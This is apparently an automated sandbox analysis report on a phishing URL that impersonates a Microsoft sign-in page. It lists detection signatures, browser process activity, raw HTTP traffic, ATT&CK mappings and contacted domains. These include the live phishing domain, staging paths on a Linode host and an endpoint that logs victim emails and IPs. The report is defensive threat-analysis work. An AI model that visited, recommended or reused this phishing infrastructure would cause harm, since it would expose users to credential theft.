Edit tour

Windows Analysis Report
https://lide.alosalca.fun/highbox#joeblow@xyz.com

Overview

General Information

Sample URL:	https://lide.alosalca.fun/highbox#joeblow@xyz.com
Analysis ID:	1431853
Infos:

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Yara detected HtmlPhish10

Phishing site detected (based on logo match)

Detected clear text password fields (password is not hidden)

HTML body contains low number of good links

HTML title does not match URL

Invalid T&C link found

None HTTPS page querying sensitive user data (password, username or email)

Stores files to the Windows start menu directory

URL contains potential PII (phishing indication)

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4668 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5400 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2184,i,9310823674978504222,17658416220767303458,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3964 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://lide.alosalca.fun/highbox#joeblow@xyz.com" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTTP traffic detected: POST /report/v4?s=ytGYuw0SBBtS3LQxOuMJo%2Bh02VwuV1wwNr6UzKA94yhd9%2BmZwrd8fuECyCuzwdgcQ%2FfcHJ4xhwg%2BLEOj6vkPNJ%2F%2BJZ5kfDghCo04epF2x3PrRXmfjyzmx4GVPyLsbOmdTls4p5fDgtXeOHA%3D HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 667Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 25 Apr 2024 19:45:00 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: keep-aliveCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FIyQVkwzx0sksU4iFvdE8zqnQh%2BJihIYzoGpPGBZGwu3ib1RTTCUOJGjS7rIR177a7wFS%2FofHMQEXnL6gTtRJr1UKdAag1fRdOR%2BRVl6BwqxcKOZy%2B4jC1GY2N8WKbMrWeKwiw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-EncodingServer: cloudflareCF-RAY: 87a0d4b71cac6742-ATLContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 65 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 55 90 c1 6e c2 30 10 44 ef fe 8a 29 e7 96 85 8a a3 65 a9 25 41 20 a5 14 55 e1 d0 a3 c1 5b 6c 29 d8 d4 d9 14 e5 ef ab 84 4a 6d af b3 6f 76 67 56 df 15 af cb fa 7d 57 62 5d bf 54 d8 ed 9f ab cd 12 93 07 a2 4d 59 af 88 8a ba b8 4d 1e a7 33 a2 72 3b 31 4a 7b 39 37 46 7b b6 ce 28 2d 41 1a 36 8b d9 02 db 24 58 a5 2e 3a 4d 37 51 69 1a 21 7d 48 ae 1f 7c 73 f3 87 f1 73 a3 f4 c5 d4 9e 91 f9 b3 e3 56 d8 61 ff 56 e1 6a 5b c4 24 f8 18 38 a4 08 f1 a1 45 cb f9 8b f3 54 d3 65 b4 3d 39 17 24 a4 68 9b a6 bf 87 c5 bf 00 8a 73 4e 79 5c c4 f1 98 ba 28 9c d9 e1 ea 43 c3 90 dc 87 78 82 24 74 2d c3 46 94 03 5c a4 63 77 e6 28 83 ee 6d 74 03 f8 9b ec e7 2c 8d 45 34 8d 0f 50 df 59 3c e4 fe 3b 01 00 00 0d 0a Data Ascii: eeUn0D)e%A U[l)JmovgV}Wb]TMYM3r;1J{97F{(-A6$X.:M7Qi!}H|ssVaVj[$8ETe=9$hsNy\(Cx$t-F\cw(mt,E4PY<;

Source: chromecache_110.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_139.2.dr	String found in binary or memory: https://fontawesome.com/
Source: chromecache_128.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_128.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_128.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_139.2.dr	String found in binary or memory: https://github.com/yiisoft/yii2/
Source: chromecache_139.2.dr	String found in binary or memory: https://httpd.apache.org/
Source: chromecache_139.2.dr	String found in binary or memory: https://stackoverflow.com/search?q=Undefined
Source: chromecache_139.2.dr	String found in binary or memory: https://www.google.com/search?q=Undefined
Source: chromecache_139.2.dr	String found in binary or memory: https://www.yiiframework.com/doc-2.0/yii-base-application.html#run()-detail
Source: chromecache_139.2.dr	String found in binary or memory: https://www.yiiframework.com/doc-2.0/yii-base-controller.html#runAction()-detail
Source: chromecache_139.2.dr	String found in binary or memory: https://www.yiiframework.com/doc-2.0/yii-base-errorexception.html
Source: chromecache_139.2.dr	String found in binary or memory: https://www.yiiframework.com/doc-2.0/yii-base-errorhandler.html#handleError()-detail
Source: chromecache_139.2.dr	String found in binary or memory: https://www.yiiframework.com/doc-2.0/yii-base-inlineaction.html#runWithParams()-detail
Source: chromecache_139.2.dr	String found in binary or memory: https://www.yiiframework.com/doc-2.0/yii-base-module.html#runAction()-detail
Source: chromecache_139.2.dr	String found in binary or memory: https://www.yiiframework.com/doc-2.0/yii-web-application.html#handleRequest()-detail
Source: chromecache_139.2.dr	String found in binary or memory: https://yiiframework.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 23.54.200.130:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.54.200.130:443 -> 192.168.2.5:49728 version: TLS 1.2

Source: classification engine

Classification label: mal60.phis.win@17/116@30/13

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2184,i,9310823674978504222,17658416220767303458,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://lide.alosalca.fun/highbox#joeblow@xyz.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2184,i,9310823674978504222,17658416220767303458,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://lide.alosalca.fun/highbox#joeblow@xyz.com	0%	Avira URL Cloud	safe
https://lide.alosalca.fun/highbox#joeblow@xyz.com	0%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
https://aadcdn.msftauth.net/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg	0%	URL Reputation	safe
https://69-164-216-107.ip.linodeusercontent.com/apr2/1tuBZA2dQ2OZnL64	0%	Avira URL Cloud	safe
http://lide.alosalca.fun/highbox/mega.js	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/vph/lrdVLojiou0qqZly	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/vid1/TrzqRFuy4MJ4XWCB	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/apr3/bG8Q1jdDmyJZjsDO	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/cant/a5JKagtUoTXfGwZT	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/ms/lxzGbv3hy4WdYfNa	0%	Avira URL Cloud	safe
http://lide.alosalca.fun/favicon.ico	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/emr/NVljaT1j0fUxaLat	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/vid2/GshGTxDGjm16q1FN	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/icod/k0gEEZOfTBiICr1j	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/vph1/UwfUCFjisDNgeIUh	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/gss/Y0XFRO464XV5OX3u	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/wednt/vSLR30xkV1wCUmqV	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/sigi/te2BMKQevrPDL3Gd	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/cncl/8s3ZmRtEUbi2xSck	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/apr1/K7oawgiQZGO729O3	0%	Avira URL Cloud	safe
https://dashboard.spamfather.com/web/blocked-ip/check-ip?ip=185.152.66.230	100%	Avira URL Cloud	malware
https://69-164-216-107.ip.linodeusercontent.com/vid/9ByFVrvy71ZtFROH	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/key/f9DjaQLWUiikwc8f	0%	Avira URL Cloud	safe
https://dashboard.spamfather.com/web/site/go-back?token=9704A-4FC48-AE885-98DCB-DCDF5-7F3FD-EF-16-81851-875&usr=joeblow@xyz.com	100%	Avira URL Cloud	malware
https://lide.alosalca.fun/highbox	0%	Avira URL Cloud	safe
https://getbootstrap.com)	0%	Avira URL Cloud	safe
https://lide.alosalca.fun/highbox	0%	Virustotal		Browse
https://69-164-216-107.ip.linodeusercontent.com/epas/nDKjw0NsxLyvHy0Y	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/cosi/GhYFuqfXa2S89Zec	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/noac/nlCQLkXBV0Ryrh8U	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/pasr/00Wp1QtPGGg6tNi2	0%	Avira URL Cloud	safe
https://dashboard.spamfather.com/web/site/check-em?email=joeblow@xyz.com	100%	Avira URL Cloud	malware
https://69-164-216-107.ip.linodeusercontent.com/pas2/CirkVnUZuw2gzfS8	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/enc/us9SPB7nWOX2ro45	0%	Avira URL Cloud	safe
http://lide.alosalca.fun/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/takn/gnodp4Suzu5ewcl9	0%	Avira URL Cloud	safe
https://69-164-216-107.ip.linodeusercontent.com/fpas/5uK7sqM5jLLgrgDX	0%	Avira URL Cloud	safe
http://lide.alosalca.fun/highbox/	0%	Avira URL Cloud	safe
https://dashboard.spamfather.com/web/site/stats?ip=185.152.66.230&ua=Mozilla%252F5.0%2520(Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64)%2520AppleWebKit%252F537.36%2520(KHTML%252C%2520like%2520Gecko)%2520Chrome%252F117.0.0.0%2520Safari%252F537.36&em=brianknowt23%40gmail.com	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
cs1100.wpc.omegacdn.net	152.199.4.44	true	false	unknown
dashboard.spamfather.com	172.67.172.36	true	false	unknown
code.jquery.com	151.101.2.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
69-164-216-107.ip.linodeusercontent.com	69.164.216.107	true	false	unknown
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	high
lide.alosalca.fun	172.67.128.161	true	false	unknown
www.google.com	172.217.215.99	true	false	high
api.ipify.org	104.26.13.205	true	false	high
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	unknown
aadcdn.msftauth.net	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://69-164-216-107.ip.linodeusercontent.com/apr2/1tuBZA2dQ2OZnL64	false	Avira URL Cloud: safe	unknown
http://lide.alosalca.fun/highbox/mega.js	false	Avira URL Cloud: safe	unknown
https://69-164-216-107.ip.linodeusercontent.com/apr3/bG8Q1jdDmyJZjsDO	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=ytGYuw0SBBtS3LQxOuMJo%2Bh02VwuV1wwNr6UzKA94yhd9%2BmZwrd8fuECyCuzwdgcQ%2FfcHJ4xhwg%2BLEOj6vkPNJ%2F%2BJZ5kfDghCo04epF2x3PrRXmfjyzmx4GVPyLsbOmdTls4p5fDgtXeOHA%3D	false		high
https://69-164-216-107.ip.linodeusercontent.com/vid1/TrzqRFuy4MJ4XWCB	false	Avira URL Cloud: safe	unknown
https://69-164-216-107.ip.linodeusercontent.com/vph/lrdVLojiou0qqZly	false	Avira URL Cloud: safe	unknown
https://69-164-216-107.ip.linodeusercontent.com/cant/a5JKagtUoTXfGwZT	false	Avira URL Cloud: safe	unknown
https://69-164-216-107.ip.linodeusercontent.com/ms/lxzGbv3hy4WdYfNa	false	Avira URL Cloud: safe	unknown
